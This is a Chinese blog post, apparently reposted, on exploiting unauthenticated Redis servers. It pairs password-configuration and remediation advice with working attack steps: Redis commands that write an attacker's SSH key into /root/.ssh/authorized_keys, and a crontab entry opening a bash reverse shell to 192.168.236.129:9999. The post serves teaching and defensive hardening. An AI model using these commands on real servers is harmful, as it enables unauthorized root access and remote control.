zoukankan      html  css  js  c++  java
  • redis未授权访问漏洞利用

    redis未授权访问漏洞利用

    作者:wt7315 时间: 2021-02-05 08:52:44
    【摘要】各位大佬好!好久没写过博客记录了,最近挖了个redis未授权访问漏洞,并利用了一番,在此,分享下这个鸡肋却能直接获得服务器权限的漏洞。 0x01:redis基础 Redis默认配置是不需要密码认证的,也就是说只要连接的Redis服务器的host和port正确,就可以连接使用。这在安全性上会有一定的问题,所以需要启用Redis的认证密码,增加Redis服务器的安全性。 修改配置文件 Red...

    各位大佬好!好久没写过博客记录了,最近挖了个redis未授权访问漏洞,并利用了一番,在此,分享下这个鸡肋却能直接获得服务器权限的漏洞。

    0x01:redis基础

    Redis默认配置是不需要密码认证的,也就是说只要连接的Redis服务器的host和port正确,就可以连接使用。这在安全性上会有一定的问题,所以需要启用Redis的认证密码,增加Redis服务器的安全性。

    • 修改配置文件

    Redis的配置文件默认在/etc/redis.conf,找到如下行:

    #requirepass foobared
    去掉前面的注释,并修改为所需要的密码:

    requirepass myPassword (其中myPassword就是要设置的密码)

    • 重启Redis

    如果Redis已经配置为service服务,可以通过以下方式重启:

    service redis restart
    如果Redis没有配置为service服务,可以通过以下方式重启:

    /usr/local/bin/redis-cli shutdown
    /usr/local/bin/redis-server /etc/redis.conf

    • 登录验证

    设置Redis认证密码后,客户端登录时需要使用-a参数输入认证密码,不添加该参数虽然也可以登录成功,但是没有任何操作权限。如下:

    $ ./redis-cli -h 127.0.0.1 -p 6379
    127.0.0.1:6379> keys *
    (error) NOAUTH Authentication required.
    使用密码认证登录,并验证操作权限:

    $ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword
    127.0.0.1:6379> config get requirepass
    1) "requirepass"
    2) "myPassword"
    看到类似上面的输出,说明Reids密码认证配置成功。

    0x02漏洞描述

    漏洞描述:
    Redis因配置不当可以未授权访问,被***者恶意利用。
    ***者无需认证访问到内部数据,可能导致敏感信息泄露,***也可以恶意执行flushall来清空所有数据。
    ***者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
    如果Redis以root身份运行,***可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

    危害:
    ***者可利用该漏洞写入计划任务反弹shell
    ***者可利用该漏洞写入ssh公钥远程连接。

    0x03:漏洞利用

    1. 使用redis连接工具连接。windows下学习和连接redis,redis下载地址:https://github.com/dmajkic/redis/downloads
    2. 使用redis-cli.exe连接
      redis未授权访问漏洞利用1

    0x04:漏洞高级利用

    利用原理:
    1) SSH免密码登录,Linux下可以设置SSH免密码登录,方法为使用"公私钥"认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。详细可参考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html )SSH免密码登陆远程服务器

    2)Redis可通过Redis-CLI远程管理,设置Redis的默认路径以及数据库缓存文件。
    方法如下:
    config set dir /xxx
    config set dbfilename xxxx
    set xxxx "xxx"
    save

    • 漏洞条件

    1.Redis服务使用ROOT账号启动
    2.Redis服务无密码认证或者使用的是弱口令进行认证
    3.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

    首先在本地生成一对密钥:
    redis未授权访问漏洞利用2

    然后通过redis-clis远程连接到目标redis服务器,执行以下命令
    redis未授权访问漏洞利用3
    config set dir /root/.ssh/
    config set dbfilename authorized_keys

    set xxxx " ssh-rsa key_pub ",其中key_pub为上图生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码。Redis已经因该漏洞被***,并在其缓存数据库中发现被写入的公钥,建议用户马上对内部网络进行排查。

    反弹shell

    1、telnet登录/也可以redis-cli登录
    redis未授权访问漏洞利用4

    telnet 192.168.236.130 6379//未授权登录

    config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

    set -.- " * * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1 "//直接往当前用户的crontab里写入反弹shell,换行是必不可少的。

    2.nc反弹
    redis未授权访问漏洞利用5
    3.Centos里面查看crontab任务。
    redis未授权访问漏洞利用6

    0x06:漏洞修复

    该漏洞的修补方法如下:
    1)禁止使用 root 权限启动 redis 服务;
    2)对 redis 访问启用密码认证,并且添加 IP 访问限制;
    3)尽可能不对公网直接开放 SSH 服务。

  • 相关阅读:
    IDEA中Maven依赖下载失败解决方案
    Java 泛型 泛型的约束与局限性
    年轻就该多尝试,教你20小时Get一项新技能
    Java入门
    2020全球C++及系统软件技术大会成功落下帷幕
    hashMap底层源码浅析
    hashMap底层源码浅析
    RabbitMQ (二) 简单队列
    RabbitMQ (一) 简介和基本概念
    Linux 关闭/开启密码登录(仅证书登录)
  • 原文地址:https://www.cnblogs.com/yaoyangding/p/14990984.html
Copyright © 2011-2022 走看看